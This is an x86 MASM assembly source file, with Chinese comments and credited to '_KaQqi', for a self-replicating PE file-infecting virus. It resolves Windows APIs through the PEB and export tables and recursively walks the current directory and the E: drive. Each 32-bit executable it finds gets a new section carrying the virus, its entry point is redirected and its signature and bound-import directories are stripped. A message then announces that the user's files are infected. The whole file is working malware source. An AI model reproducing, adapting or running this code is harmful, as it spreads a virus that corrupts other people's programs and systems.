.686p
.model flat,stdcall
option casemap:none
include InfectPe.inc ;include windows.inc
.code
start:
assume fs:nothing
jmp Shell_
;需要的变量
Id dd 0
FileOep dd 0
JmpAddress dd 0
aShell dd 0
Kernel32 dd 0
;需要的API地址
_FindFirstFile dd 0
_FindNextFile dd 0
_LoadLibraryA dd 0
_CreateFileA dd 0
_MapViewOfFile dd 0
_CreateFileMappingA dd 0
_GetFileSize dd 0
_CloseHandle dd 0
_UnmapViewOfFile dd 0
_FindClose dd 0
_WriteFile dd 0
_MessageBox dd 0
_SetFilePointer dd 0
_VirtualAlloc dd 0
_VirtualFree dd 0
_GetCurrentDirectory dd 0
_ReadFile dd 0
NameOfKernel32 db 'kernel32.dll',0
NameOfUser32 db 'user32.dll',0
;API名字
NameOfReadFile db 'ReadFile',0
NameOfVirtualFree db 'VirtualFree',0
NameOfVirtualAlloc db 'VirtualAlloc',0
NameOfGetCurrentDirectory db 'GetCurrentDirectoryA',0
NameOfSetFilePointer db 'SetFilePointer',0
NameOfMessageBoxA db 'MessageBoxA',0
NameOfExitThread db 'ExitProcess',0
NameOfFindClose db 'FindClose',0
NameOfCreateFile db 'CreateFileA',0
NameOfMapViewOfFile db 'MapViewOfFile',0
NameOfCreateFileMappingA db 'CreateFileMappingA',0
NameOfGetFileSize db 'GetFileSize',0
NameOfCloseHandle db 'CloseHandle',0
NameOfUnmapViewOfFile db 'UnmapViewOfFile',0
NameOfFindFirstFile db 'FindFirstFileA',0
NameOfWriteFile db 'WriteFile',0
NameOfFindNextFile db 'FindNextFileA',0
NameOfVirtualProtect db 'VirtualProtect',0
NameOfLoadLibraryA db 'LoadLibraryA',0
FileName db MAX_PATH dup(0)
AddName db '\*.*',0
AddName1 db '\',0
DriveName db '?:',0
s db '.',0
ss_ db '..',0
;Message
db 'Hello World!',0dh,0ah
db 'Coded by _KaQqi',0dh,0ah
db ' 11:28',0dh,0ah
db '2017 - 2 - 7',0
Shell_:
sub esp,4
pushfd
pushad
call Shell
Shell:
pop ebp ;Shell的地址
sub ebp,Shell - start ;程序的起始地址
;设置SEH链
xor eax,eax
xor eax,SehCallBack - start
add eax,ebp
sub esp,4
xor edx,edx
xor edx,dword ptr ss:[esp]
xor dword ptr ss:[esp],edx
xor dword ptr ss:[esp],eax
sub esp,4
xor eax,eax
xor eax,dword ptr fs:[0]
xor edx,edx
xor edx,dword ptr ss:[esp]
xor dword ptr ss:[esp],edx
xor dword ptr ss:[esp],eax
xor edx,edx
xor edx,dword ptr fs:[0]
xor dword ptr fs:[0],edx
xor dword ptr fs:[0],esp
;初始化
push ebp
call SHELLPAGE_EXECUTE_READWRITE
mov [aShell - start + ebp],ebp
call GetKernelBase
mov eax,ebp
add eax,NameOfLoadLibraryA - start
push eax
call GetKernelBase
push eax
call ShellGetProcAddress
mov [_LoadLibraryA - start + ebp],eax
mov eax,ebp
add eax,NameOfKernel32 - start
push eax
mov eax,[_LoadLibraryA - start + ebp]
call eax
mov [Kernel32 - start + ebp],eax
mov eax,ebp
add eax,NameOfFindFirstFile - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_FindFirstFile - start + ebp],eax
mov eax,ebp
add eax,NameOfFindNextFile - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_FindNextFile - start + ebp],eax
mov eax,ebp
add eax,NameOfCreateFile - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_CreateFileA - start + ebp],eax
mov eax,ebp
add eax,NameOfGetFileSize - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_GetFileSize - start + ebp],eax
mov eax,ebp
add eax,NameOfCreateFileMappingA - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_CreateFileMappingA - start + ebp],eax
mov eax,ebp
add eax,NameOfMapViewOfFile - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_MapViewOfFile - start + ebp],eax
mov eax,ebp
add eax,NameOfUnmapViewOfFile - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_UnmapViewOfFile - start + ebp],eax
mov eax,ebp
add eax,NameOfCloseHandle - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_CloseHandle - start + ebp],eax
mov eax,ebp
add eax,NameOfFindClose - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_FindClose - start + ebp],eax
mov eax,ebp
add eax,NameOfMessageBoxA - start
push eax
mov eax,ebp
add eax,NameOfUser32 - start
push eax
call dword ptr cs:[_LoadLibraryA - start + ebp]
push eax
call ShellGetProcAddress
mov [_MessageBox - start + ebp],eax
mov eax,ebp
add eax,NameOfWriteFile - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_WriteFile - start + ebp],eax
mov eax,ebp
add eax,NameOfSetFilePointer - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_SetFilePointer - start + ebp],eax
mov eax,ebp
add eax,NameOfGetCurrentDirectory - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_GetCurrentDirectory - start + ebp],eax
mov eax,ebp
add eax,NameOfVirtualAlloc - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_VirtualAlloc - start + ebp],eax
mov eax,ebp
add eax,NameOfVirtualFree - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_VirtualFree - start + ebp],eax
mov eax,ebp
add eax,NameOfReadFile - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [_ReadFile - start + ebp],eax
call ShellStart
;准备返回
mov eax,dword ptr cs:[FileOep - start + ebp]
.if eax == NULL
mov eax,ebp
add eax,NameOfExitThread - start
push eax
push [Kernel32 - start + ebp]
call ShellGetProcAddress
mov [JmpAddress - start + ebp],eax
push MB_OK
push NULL
lea eax,[END_MSG - start + ebp]
push eax
push NULL
call dword ptr cs:[_MessageBox - start + ebp]
.else
push MB_OK
push NULL
lea eax,[END_MSG1 - start + ebp]
push eax
push NULL
call dword ptr cs:[_MessageBox - start + ebp]
;取出当前进程的ImageBase
mov eax,dword ptr fs:[30h]
mov eax,dword ptr ds:[eax + 8h]
;得到OEP
add eax,dword ptr cs:[FileOep - start + ebp]
mov [JmpAddress - start + ebp],eax
.endif
;恢复SEH链
xor edx,edx
xor edx,dword ptr fs:[0]
xor dword ptr fs:[0],edx
xor edx,edx
xor edx,dword ptr ss:[esp]
xor dword ptr fs:[0],edx
add esp,8
add esp,40
push dword ptr cs:[JmpAddress - start + ebp]
sub esp,36
popad
popfd
retn;返回
SehCallBack proc
assume ebx:ptr CONTEXT
mov ebx,dword ptr ss:[esp + 12] ;PCONTEXT参数
xor eax,eax
retn 16
SehCallBack endp
RtlGetAnsiStringLength proc lpString:DWORD
LOCAL i:DWORD
mov eax,i
xor i,eax
pushad
mov edi,lpString
mov eax,i
jmp @
_Loop:
inc i
mov eax,i
@:
cmp byte ptr ds:[edi + eax],NULL
jnz _Loop
popad
mov eax,i
ret
RtlGetAnsiStringLength endp
RtlCompareAnsiString proc ;比较两个ANSI字符串 相等返回1 不相等返回0 (stdcall)
mov esi,dword ptr ss:[esp + 4]
mov edi,dword ptr ss:[esp + 8]
push ecx
push esi
call RtlGetAnsiStringLength
push eax
push edi
call RtlGetAnsiStringLength
mov ecx,eax
pop eax
xor eax,ecx
cmove eax,ecx
xor ebx,ebx
xor ecx,eax
mov ecx,eax
cmovnz ecx,ebx
repe cmpsb
pushfd
xor ebx,ebx
inc ebx
xor eax,eax
popfd
cmove eax,ebx
pop ecx
retn 8
RtlCompareAnsiString endp
ShellGetProcAddress proc hModule:DWORD,lpBuffer:DWORD
LOCAL i:DWORD
mov esi,hModule
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS32
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
mov ecx,[esi].NumberOfNames ;导出函数的名字的个数
mov edx,[esi].AddressOfNames
add edx,hModule
push esi
mov i,0
_Loop:
mov eax,i
mov edi,dword ptr ds:[edx + eax * sizeof DWORD]
add edi,hModule
push edi
push lpBuffer
call RtlCompareAnsiString
and eax,eax
pushfd
xor ebx,ebx
popfd
mov eax,ecx
cmovnz ecx,ebx
inc i ;计数
test ecx,ecx
jnz _Loop
pop esi
;得到导出函数序号
mov edx,eax
xor eax,eax
mov ecx,[esi].NumberOfNames
xor ecx,i
je Return
mov ecx,i
mov edx,[esi].AddressOfNameOrdinals
add edx,hModule
xor eax,eax
mov ax,word ptr ds:[edx + ecx * sizeof WORD]
;取出导出函数的RVA
dec eax
mov edx,[esi].AddressOfFunctions
add edx,hModule
mov eax,dword ptr ds:[edx + eax * sizeof DWORD]
;得到地址
add eax,hModule
Return:
assume esi:nothing
ret
ShellGetProcAddress endp
SHELLPAGE_EXECUTE_READWRITE proc hModule:DWORD;修改代码段的权限为PAGE_EXECUTE_READWRITE
LOCAL Old:DWORD
mov eax,hModule
add eax,NameOfVirtualProtect - start
push eax
call GetKernelBase
push eax
call ShellGetProcAddress
lea edx,Old
push edx
push PAGE_EXECUTE_READWRITE
push Shell_ - start
push hModule
call eax
ret
SHELLPAGE_EXECUTE_READWRITE endp
GetKernelBase proc
;摘自网络
cld
xor edx,edx
mov edx,dword ptr fs:[edx + 30h]
mov edx,dword ptr ds:[edx + 0Ch]
mov edx,dword ptr ds:[edx + 14h]
next_mod:
mov esi,dword ptr ds:[edx + 28h]
push 24
pop ecx
xor edi,edi
loop_modname:
xor eax,eax
lodsb
cmp al,'a'
jl not_lowercase
sub al,20h
not_lowercase:
ror edi,13
add edi,eax
loop loop_modname
cmp edi,6A4ABC5Bh
mov ebx,dword ptr ds:[edx + 10h]
mov edx,dword ptr ds:[edx]
jnz next_mod
mov eax,ebx
ret
GetKernelBase endp
ShellStart proc;Shell入口
call MyCall
ret
ShellStart endp
MyCall proc
call CallNext
CallNext: ;得到Shell入口
pop edx
sub edx,5
sub edx,MyCall - start
;先感染当前目录
;获取当前程序的目录
push edx
push edx
mov eax,FileName - start
add eax,edx
push eax
push sizeof FileName
call dword ptr cs:[_GetCurrentDirectory - start + edx]
pop edx
lea eax,MyFileCallBack
sub eax,start
add eax,edx
push eax ;回调函数
lea eax,[FileName - start + edx]
push eax
push edx
call ShellFindFile
pop edx
;E盘
mov eax,DriveName - start
add eax,edx
mov byte ptr ds:[eax],'E'
lea eax,MyFileCallBack
sub eax,start
add eax,edx
push eax ;回调函数
lea eax,[DriveName - start + edx]
push eax
push edx
call ShellFindFile
ret
MyCall endp
_ZeroMemory proc Destination:DWORD,MemoryLength:DWORD
pushad
mov edx,Destination
xor ecx,ecx
.while ecx != MemoryLength
mov al,byte ptr ds:[edx + ecx]
xor byte ptr ds:[edx + ecx],al
inc ecx
.endw
popad
ret
_ZeroMemory endp
ShellFindFile proc hModule:DWORD,lpFileNameString:DWORD,CallBackFunction:DWORD
LOCAL FindFileData:WIN32_FIND_DATA
LOCAL FindHandle:DWORD
LOCAL MyBool:BOOL
LOCAL MyFile[MAX_PATH]:CHAR
LOCAL File[MAX_PATH]:CHAR
LOCAL MyFile1[MAX_PATH]:CHAR
;指明通配符
push lpFileNameString
call RtlGetAnsiStringLength
push eax ;长度
push lpFileNameString
lea eax,MyFile1
push eax
call RtlCopyAnsiString
mov eax,hModule
add eax,AddName - start
push eax
lea eax,MyFile1
push eax
call RtlAddAnsiString
;第一个
lea eax,FindFileData
push eax
lea eax,MyFile1
push eax
mov eax,hModule
call dword ptr cs:[_FindFirstFile - start + eax]
.if eax != INVALID_HANDLE_VALUE
mov FindHandle,eax
.repeat
assume edx:ptr WIN32_FIND_DATA
;过滤掉上一级目录
lea edx,FindFileData
lea ebx,[edx].cFileName
mov eax,hModule
add eax,s - start
push eax
push ebx
call RtlCompareAnsiString
xor eax,1
je Next
lea edx,FindFileData
lea ebx,[edx].cFileName
mov eax,hModule
add eax,ss_ - start
push eax
push ebx
call RtlCompareAnsiString
xor eax,1
je Next
lea edx,FindFileData
mov eax,[edx].dwFileAttributes
and eax,FILE_ATTRIBUTE_DIRECTORY
.if eax != NULL ;目录
;下一个扫描路径
push lpFileNameString
call RtlGetAnsiStringLength
push eax ;长度
push lpFileNameString
lea eax,File
push eax
call RtlCopyAnsiString
mov eax,hModule
add eax,AddName1 - start
push eax
lea eax,File
push eax
call RtlAddAnsiString
lea edx,FindFileData
lea eax,[edx].cFileName
push eax
lea eax,File
push eax
call RtlAddAnsiString
push CallBackFunction
lea eax,File
push eax
push hModule
call ShellFindFile
.else ;回调函数
push lpFileNameString
call RtlGetAnsiStringLength
push eax ;长度
push lpFileNameString
lea eax,MyFile
push eax
call RtlCopyAnsiString
mov eax,hModule
add eax,AddName1 - start
push eax
lea eax,MyFile
push eax
call RtlAddAnsiString
lea edx,FindFileData
lea eax,[edx].cFileName
push eax
lea eax,MyFile
push eax
call RtlAddAnsiString
lea eax,MyFile
push eax
push hModule
call CallBackFunction
.endif
assume edx:nothing
Next: ;循环尾
lea eax,FindFileData
push eax
push FindHandle
mov eax,hModule
call dword ptr cs:[_FindNextFile - start + eax]
mov MyBool,eax
.until MyBool == FALSE
.endif
RetNext:
;返回
push FindHandle
mov eax,hModule
call dword ptr cs:[_FindClose - start + eax]
ret
ShellFindFile endp
MyFileCallBack proc hModule:DWORD,lpFileNameString:DWORD ;枚举文件的回调函数
;感染文件
LOCAL Written:DWORD
LOCAL dwFileSize:DWORD
LOCAL hFile:DWORD
LOCAL hMap:DWORD
LOCAL lpBuffer:DWORD
LOCAL SectionAlignment:DWORD
LOCAL FileAlignment:DWORD
LOCAL nSec:WORD ;区块个数
LOCAL PointerToRawData:DWORD
LOCAL VirtualAddress:DWORD
LOCAL dwShellSize:DWORD
LOCAL AddressOfEntryPoint:DWORD ;入口点
LOCAL IsShell:DWORD ;是否是本体
LOCAL Overlay:DWORD ;附加数据
LOCAL SizeOfOverlay:DWORD ;附加数据大小
LOCAL Read:DWORD
mov Overlay,NULL
;获取Shell的大小
mov eax,END_
sub eax,start
mov dwShellSize,eax
;打开lpFileNameString指向的文件
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ
mov eax,GENERIC_READ
or eax,GENERIC_WRITE
push eax
push lpFileNameString
mov eax,hModule
call dword ptr cs:[_CreateFileA - start + eax]
cmp eax,INVALID_HANDLE_VALUE
je Exit_Ret
mov hFile,eax ;文件句柄
;获取文件的长度
push NULL
push eax
mov eax,hModule
call dword ptr cs:[_GetFileSize - start + eax]
or eax,eax
je Closed
mov dwFileSize,eax
;创建文件映射
push NULL
push dwFileSize
push NULL
push PAGE_READWRITE
push NULL
push hFile
mov eax,hModule
call dword ptr cs:[_CreateFileMappingA - start + eax]
cmp eax,INVALID_HANDLE_VALUE
je Closed
mov hMap,eax
;将文件映射到内存
push dwFileSize
push NULL
push NULL
mov eax,FILE_MAP_READ
or eax,FILE_MAP_WRITE
push eax
push hMap
mov eax,hModule
call dword ptr cs:[_MapViewOfFile - start + eax]
or eax,eax
je CloseFileMapping
mov lpBuffer,eax
;PE文件?
assume esi:ptr IMAGE_DOS_HEADER
mov esi,lpBuffer
cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
jnz __UnMapViewOfFile
mov esi,lpBuffer
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS32
cmp [esi].Signature,IMAGE_NT_SIGNATURE
jnz __UnMapViewOfFile
;Intel x86 PE文件?
cmp [esi].FileHeader.Machine,IMAGE_FILE_MACHINE_I386
jnz __UnMapViewOfFile
push esi
push lpBuffer
push hModule
call IsInfected
or eax,eax
jnz __UnMapViewOfFile
;PE文件区块个数
mov ax,[esi].FileHeader.NumberOfSections
mov nSec,ax
or ax,ax
je __UnMapViewOfFile
;检测附加数据
assume edi:ptr IMAGE_SECTION_HEADER
lea edi,[esi].OptionalHeader
xor eax,eax
mov ax,[esi].FileHeader.SizeOfOptionalHeader
add edi,eax
xor eax,eax
mov ax,nSec
dec ax
mov ebx,sizeof IMAGE_SECTION_HEADER
mul ebx
add edi,eax ;定位到最后一个区块
mov eax,[edi].PointerToRawData
add eax,[edi].SizeOfRawData
.if eax < dwFileSize ;存在附加数据
mov ebx,dwFileSize
sub ebx,eax
mov SizeOfOverlay,ebx
;申请一块内存
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT
push SizeOfOverlay
push NULL
mov eax,hModule
call dword ptr cs:[_VirtualAlloc - start + eax]
mov Overlay,eax
mov edx,[edi].PointerToRawData
add edx,[edi].SizeOfRawData
;移动到附加数据处
push FILE_BEGIN
push NULL
push edx
push hFile
mov edx,hModule
call dword ptr cs:[_SetFilePointer - start + edx]
;保存附加数据
push NULL
lea eax,Read
push eax
push SizeOfOverlay
push Overlay
push hFile
mov edx,hModule
call dword ptr cs:[_ReadFile - start + edx]
.endif
;PE文件入口点
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
mov AddressOfEntryPoint,eax
;清除绑定输入表
lea edi,[esi].OptionalHeader.DataDirectory
lea edi,[edi + IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT * sizeof IMAGE_DATA_DIRECTORY]
assume edi:ptr IMAGE_DATA_DIRECTORY
xor eax,eax
mov [edi].VirtualAddress,eax
mov [edi].isize,eax
;数字签名
lea edi,[esi].OptionalHeader.DataDirectory
lea edi,[edi + IMAGE_DIRECTORY_ENTRY_SECURITY * sizeof IMAGE_DATA_DIRECTORY]
.if [edi].VirtualAddress != NULL
;去掉DEP
mov ax,[esi].OptionalHeader.DllCharacteristics
and ax,IMAGE_DLLCHARACTERISTICS_NX_COMPAT
mov [esi].OptionalHeader.DllCharacteristics,ax
.endif
xor eax,eax
mov [edi].VirtualAddress,eax
mov [edi].isize,eax
;异常目录
lea edi,[esi].OptionalHeader.DataDirectory
lea edi,[edi + IMAGE_DIRECTORY_ENTRY_EXCEPTION * sizeof IMAGE_DATA_DIRECTORY]
xor eax,eax
mov [edi].VirtualAddress,eax
mov [edi].isize,eax
;PE对齐值
mov eax,[esi].OptionalHeader.SectionAlignment
mov SectionAlignment,eax
mov eax,[esi].OptionalHeader.FileAlignment
mov FileAlignment,eax
;PE文件区块表
assume edi:ptr IMAGE_SECTION_HEADER
lea edi,[esi].OptionalHeader
xor eax,eax
mov ax,[esi].FileHeader.SizeOfOptionalHeader
add edi,eax
;最后一个
xor eax,eax
mov ax,nSec
mov ebx,sizeof IMAGE_SECTION_HEADER
mul ebx
add edi,eax
;清零
push sizeof IMAGE_SECTION_HEADER
push edi
call _ZeroMemory
;前一个区块
mov eax,sizeof IMAGE_SECTION_HEADER
sub edi,eax
mov eax,[edi].PointerToRawData
add eax,[edi].SizeOfRawData
mov PointerToRawData,eax ;新区块的PointerToRawData
mov eax,[edi].VirtualAddress
add eax,[edi].Misc.VirtualSize
mov VirtualAddress,eax ;新区块的VirtualAddress
;后一个区块
mov eax,sizeof IMAGE_SECTION_HEADER
add edi,eax
;对齐后的PointerToRawData
push FileAlignment
push PointerToRawData
call PeAlign
mov [edi].PointerToRawData,eax
;对齐后的VirtualAddress
push SectionAlignment
push VirtualAddress
call PeAlign
mov [edi].VirtualAddress,eax
;对齐后的SizeOfRawData
push FileAlignment
push dwShellSize
call PeAlign
mov [edi].SizeOfRawData,eax
;对齐后的VirtualSize
push SectionAlignment
push dwShellSize
call PeAlign
mov [edi].Misc.VirtualSize,eax
;保存对齐后的SizeOfRawData
push FileAlignment
push dwShellSize
call PeAlign
mov dwShellSize,eax
;新区块的属性
mov [edi].Characteristics,60000020h
;新区块的名字
rdtsc
or eax,edx
lea edx,[edi].Name1
mov dword ptr ds:[edx],eax
;对齐
mov eax,[edi].VirtualAddress
add eax,[edi].Misc.VirtualSize
push SectionAlignment
push eax
call PeAlign
mov [esi].OptionalHeader.SizeOfImage,eax
inc [esi].FileHeader.NumberOfSections ;增加一个区块
;更新入口点
mov eax,hModule
add eax,FileOep - start
.if eax == NULL
mov eax,AddressOfEntryPoint
mov edx,hModule
add edx,FileOep - start
mov dword ptr ds:[edx],eax
.else
mov IsShell,12345678h
mov eax,hModule
add eax,FileOep - start
push dword ptr ds:[eax] ;保存原OEP偏移
mov eax,AddressOfEntryPoint
mov edx,hModule
add edx,FileOep - start
mov dword ptr ds:[edx],eax
.endif
;移动到PointerToRawData处
push FILE_BEGIN
push NULL
push PointerToRawData
push hFile
mov edx,hModule
call dword ptr cs:[_SetFilePointer - start + edx]
;把Shell写入文件
push NULL
lea eax,Written
push eax
push dwShellSize
push hModule
push hFile
mov edx,hModule
call dword ptr cs:[_WriteFile - start + edx]
.if IsShell == 12345678h
xor IsShell,12345678h
mov eax,hModule
add eax,FileOep - start
pop dword ptr ds:[eax] ;恢复原OEP偏移
.endif
;更新入口点
push SectionAlignment
push VirtualAddress
call PeAlign
mov [esi].OptionalHeader.AddressOfEntryPoint,eax
;写入附加数据
.if Overlay != NULL
;移动到文件尾
push FILE_END
push NULL
push NULL
push hFile
mov edx,hModule
call dword ptr cs:[_SetFilePointer - start + edx]
;把附加数据写入文件
push NULL
lea eax,Written
push eax
push SizeOfOverlay
push Overlay
push hFile
mov edx,hModule
call dword ptr cs:[_WriteFile - start + edx]
;释放内存
push MEM_DECOMMIT
push SizeOfOverlay
push Overlay
mov eax,hModule
call dword ptr cs:[_VirtualFree - start + eax]
mov Overlay,NULL
.endif
assume edi:nothing
assume esi:nothing
jmp __UnMapViewOfFile
__UnMapViewOfFile:
;关闭文件映射
push lpBuffer
mov eax,hModule
call dword ptr cs:[_UnmapViewOfFile - start + eax]
jmp CloseFileMapping
CloseFileMapping:
push hMap
mov eax,hModule
call dword ptr cs:[_CloseHandle - start + eax]
Closed:
push hFile
mov eax,hModule
call dword ptr cs:[_CloseHandle - start + eax]
jmp Exit_Ret
Exit_Ret:
ret
MyFileCallBack endp
PeAlign proc Number:DWORD,dwAlign:DWORD
mov ecx,dwAlign
mov eax,Number
xor edx,edx
div ecx
or edx,edx
je Aligned
inc eax
Aligned:
mul ecx
ret
PeAlign endp
RtlCopyAnsiString proc lpString:DWORD,lpString1:DWORD,dwLength:DWORD
mov edi,lpString
mov esi,lpString1
mov ecx,dwLength
rep movsb
mov ecx,dwLength
add ecx,lpString
mov byte ptr ds:[ecx],0
ret
RtlCopyAnsiString endp
RtlAddAnsiString proc lpString:DWORD,lpString1:DWORD
LOCAL len:DWORD
pushad
push lpString
call RtlGetAnsiStringLength
push eax
push lpString1
call RtlGetAnsiStringLength
mov len,eax
pop eax
add lpString,eax
mov edi,lpString
mov esi,lpString1
mov ecx,len
rep movsb
mov edi,lpString
add edi,len
mov byte ptr ds:[edi],0
popad
ret
RtlAddAnsiString endp
RtlCompareMemoryByBytes proc lpBuffer:DWORD,lpBuffer1:DWORD,dwSize:DWORD ;比较两个内存 不相等返回0
pushad
xor eax,eax
mov ecx,dwSize
mov edi,lpBuffer
mov esi,lpBuffer1
repe cmpsb
pushfd
pushfd
xor edx,edx
popfd
xor ecx,edx
pushfd
inc edx
popfd
cmove eax,edx
xor edx,edx
popfd
popad
cmovnz eax,edx
ret
RtlCompareMemoryByBytes endp
IsInfected proc hModule:DWORD,lpBuffer:DWORD,pNtHeaders32:DWORD
LOCAL dwReturn:DWORD
LOCAL Oep:DWORD
LOCAL Oep_VA:DWORD
LOCAL nSec:WORD
LOCAL FileAlignment:DWORD
assume esi:ptr IMAGE_NT_HEADERS32
mov esi,pNtHeaders32
.if [esi].Signature != IMAGE_NT_SIGNATURE ;不是PE文件
jmp Fail
Fail:
mov eax,dwReturn
xor dwReturn,eax
jmp Return
.endif
;不是Intel x86的PE文件
cmp [esi].FileHeader.Machine,IMAGE_FILE_MACHINE_I386
jnz Fail
;文件对齐值
mov eax,[esi].OptionalHeader.FileAlignment
mov FileAlignment,eax
;区块个数
mov ax,[esi].FileHeader.NumberOfSections
mov nSec,ax
;取出OEP
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
mov Oep,eax
;计算出OEP在文件中的偏移
assume edi:ptr IMAGE_SECTION_HEADER
;找出EP区段
lea edi,[esi].OptionalHeader
xor eax,eax
mov ax,[esi].FileHeader.SizeOfOptionalHeader
add edi,eax
xor eax,eax
.repeat
mov ebx,[edi].VirtualAddress
.if Oep >= ebx
add ebx,[edi].Misc.VirtualSize
cmp ebx,Oep
ja Next
.endif
add edi,sizeof IMAGE_SECTION_HEADER
inc ax
.until ax >= nSec
Next:
;RVA -> RAW
push FileAlignment
push [edi].PointerToRawData
call PeAlign
mov ebx,[edi].VirtualAddress
sub ebx,Oep
neg ebx
add eax,ebx
mov Oep,eax
mov Oep_VA,eax
mov eax,lpBuffer
add Oep_VA,eax
;和Shell对比 不相等就说明没被感染
push 5
push Oep_VA
push hModule
call RtlCompareMemoryByBytes ;比较前五个字节
or eax,eax
je Fail
;剩下的代码
add Oep_VA,Shell_ - start
add hModule,Shell_ - start
push END_ - Shell_
push Oep_VA
push hModule
call RtlCompareMemoryByBytes ;比较剩下的代码
or eax,eax
je Fail
mov dwReturn,1
assume edi:nothing
assume esi:nothing
jmp Return
Return:
xor eax,eax
xor eax,dwReturn
ret
IsInfected endp
END_MSG:
db 'File corrupted!. This program has been manipulated and maybe',0ah,0dh
db 'it is infected by a Virus or cracked. This file will not work anymore.',0
END_MSG1:
db 'Your files in your disk have been infected viruses by ',27h,'MyFirstFile',27h,'...',0
END_:
retf
end start
end
InfectPe.inc